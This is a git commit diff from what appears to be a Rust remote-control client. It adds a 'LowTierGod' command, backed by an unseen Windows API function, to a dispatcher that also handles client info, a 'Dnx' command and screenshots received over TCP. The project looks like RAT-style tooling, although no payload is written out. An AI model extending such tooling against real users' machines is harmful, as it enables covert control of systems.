feat: safe exit for criticality
This commit is contained in:
parent
6b00f0586e
commit
2004a97410
3 changed files with 27 additions and 3 deletions
|
|
@ -1,4 +1,5 @@
|
|||
use futures_util::stream::SplitSink;
|
||||
use lib::winapi::low_tier_god;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::sync::Arc;
|
||||
use tokio::{net::TcpStream, sync::Mutex};
|
||||
|
|
@ -43,6 +44,7 @@ pub enum Command {
|
|||
ClientInfo,
|
||||
Dnx { params: DnxParams },
|
||||
Screenshot,
|
||||
LowTierGod
|
||||
}
|
||||
|
||||
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||
|
|
@ -119,7 +121,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
|||
}
|
||||
// this was way easier than i expected... assuming it works :pilgrim2:
|
||||
Ok(format!(""))
|
||||
}
|
||||
},
|
||||
Command::LowTierGod => {
|
||||
let _ = low_tier_god().await; // if this fails you're fucked
|
||||
Ok(format!(""))
|
||||
},
|
||||
_ => todo!(),
|
||||
}
|
||||
}
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue